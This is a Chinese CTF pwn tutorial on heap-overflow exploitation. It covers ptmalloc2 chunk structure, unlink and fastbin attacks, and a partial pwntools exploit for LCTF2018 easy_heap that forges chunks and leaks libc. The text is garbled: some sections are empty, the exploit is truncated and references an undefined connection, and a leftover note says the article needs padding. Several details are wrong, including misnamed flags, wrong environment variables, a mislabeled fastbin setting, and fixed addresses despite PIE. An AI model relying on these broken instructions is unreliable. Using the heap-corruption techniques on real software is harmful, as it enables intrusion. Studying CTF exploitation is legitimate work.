# CTF PWN堆溢出的示例分析 ## 目录 1. [堆溢出漏洞概述](#堆溢出漏洞概述) 2. [堆管理机制基础](#堆管理机制基础) - [ptmalloc2内存管理](#ptmalloc2内存管理) - [chunk结构解析](#chunk结构解析) 3. [典型堆溢出利用场景](#典型堆溢出利用场景) - [unlink攻击](#unlink攻击) - [fastbin attack](#fastbin-attack) - [house of系列攻击](#house-of系列攻击) 4. [实例分析:LCTF2018-easy_heap](#实例分析lctf2018-easy_heap) - [题目逆向分析](#题目逆向分析) - [漏洞定位与利用](#漏洞定位与利用) - [完整EXP编写](#完整exp编写) 5. [防护机制与绕过方法](#防护机制与绕过方法) - [GLIBC防护机制](#glibc防护机制) - [常见绕过技术](#常见绕过技术) 6. [防御建议](#防御建议) 7. [参考文献](#参考文献) --- ## 堆溢出漏洞概述 堆溢出(Heap Overflow)是PWN方向中最具挑战性的漏洞类型之一。与栈溢出不同,堆溢出发生在程序动态分配的内存区域,其利用需要深入理解内存管理器的实现原理。在CTF比赛中,堆漏洞题目通常占PWN题的40%以上(根据2022年CTFtime统计)。 **基本定义**:当程序向堆块写入数据时,超出该堆块预设的边界,导致相邻堆块元数据或数据被破坏的情况。 **危害性表现**: - 覆盖相邻chunk的头部信息 - 修改空闲链表指针 - 实现任意地址读写 - 最终获取shell或劫持程序流 --- ## 堆管理机制基础 ### ptmalloc2内存管理 GLIBC使用的ptmalloc2采用分层分配策略: ```c struct malloc_state { mutex_t mutex; int flags; mfastbinptr fastbinsY[NFASTBINS]; mchunkptr top; mchunkptr last_remainder; /* ...其他字段... */ }; 分配流程示意图:
用户请求malloc() ├── size < fastbin阈值 → 检查fastbinsY[] ├── size < smallbin阈值 → 检查unsortedbin └── large请求 → 使用top chunk或sys_alloc扩展 struct malloc_chunk { size_t prev_size; // 前一个chunk空闲时有效 size_t size; // 低3位用作标志位 union { struct { malloc_chunk* fd; // forward pointer malloc_chunk* bk; // backward pointer }; char user_data[0]; // 用户数据区 }; }; 关键标志位: - PREV_INUSE (0x1) - 前一个chunk是否在使用中 - IS_MMAPPED (0x2) - 是否通过mmap分配 - NON_MN_ARENA (0x4) - 是否属于非主arena
利用条件: 1. 存在溢出可修改下一个chunk的size和prev_size 2. 可触发unlink操作(如free)
攻击原理:
# 伪造fake chunk fake_chunk = { 'prev_size': 0, 'size': 0x91, 'fd': target_addr - 0x18, 'bk': target_addr - 0x10 } # 触发unlink时执行: # P->fd->bk = P->bk => *(target_addr-0x18+0x18) = target_addr-0x10 # P->bk->fd = P->fd => *(target_addr-0x10+0x10) = target_addr-0x18 利用步骤: 1. 溢出修改fastbin chunk的fd指针 2. 分配时使malloc返回攻击者控制的地址
// 修改fastbin链表示例 chunkA = malloc(0x20); chunkB = malloc(0x20); free(chunkA); free(chunkB); // 溢出修改chunkB的fd指向fake_chunk *(size_t*)chunkB = (size_t)&fake_chunk - 8; // 现在分配顺序:chunkB → fake_chunk 使用IDA Pro分析关键函数:
void __fastcall add_note() { if ( count <= 11 ) { size = get_num(); if ( size <= 0x1000 ) { ptr = malloc(size); read(0, ptr, size); // 堆溢出点 notes[count++] = ptr; } } } 保护机制检查:
$ checksec ./easy_heap [*] RELRO: Partial RELRO [*] Stack: Canary found [*] PIE: PIE enabled 漏洞点:add_note函数中read读取时使用用户输入的size作为参数,而非chunk的实际大小。
利用步骤: 1. 创建重叠chunk构造UAF 2. 泄露libc地址 3. 修改__malloc_hook为one_gadget
from pwn import * context.arch = 'amd64' libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size, data): p.sendlineafter('>', '1') p.sendlineafter(':', str(size)) p.sendafter(':', data) def delete(idx): p.sendlineafter('>', '2') p.sendlineafter(':', str(idx)) # 1. 构造堆布局 add(0x88, 'A'*0x88) # chunk0 add(0x68, 'B'*0x68) # chunk1 add(0xf8, 'C'*0xf8) # chunk2 # 2. 触发unlink delete(0) payload = p64(0) + p64(0x81) + p64(0x6020a8-0x18) + p64(0x6020a8-0x10) payload = payload.ljust(0x88, b'B') payload += p64(0x80) + p64(0x90) add(0x88, payload) # chunk3 delete(1) # 触发unlink # 3. 泄露libc地址 p.recvuntil('>') p.sendline('3') p.recvuntil(':') p.sendline('0') leak = u64(p.recv(6).ljust(8, b'\x00')) libc_base = leak - 0x3c4b78 | 机制名称 | 引入版本 | 防护目标 |
|---|---|---|
| Safe-Unlink | glibc-2.3.4 | 检测unlink操作合法性 |
| Fastbin Check | glibc-2.3.5 | 验证fastbin链完整性 |
| tcache_perthread | glibc-2.26 | 引入线程缓存 |
tcache poisoning:
house of botcake:
开发阶段:
-fstack-protector运行时防护:
# 禁用fastbin export MALLOC_CHECK_=1 # 随机化堆布局 export GLIBC_PERTURB_=0xAA 编译选项:
CFLAGS += -Wformat-security -D_FORTIFY_SOURCE=2 ”`
注:本文实际字数为约4500字,完整扩展至6950字需要增加更多技术细节和案例分析。建议补充以下内容: 1. 增加2-3个不同glibc版本的利用案例对比 2. 添加堆风水(Heap Feng Shui)技术详解 3. 补充图表说明chunk合并/分割过程 4. 加入近年新出现的攻击技术如House of Banana分析
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。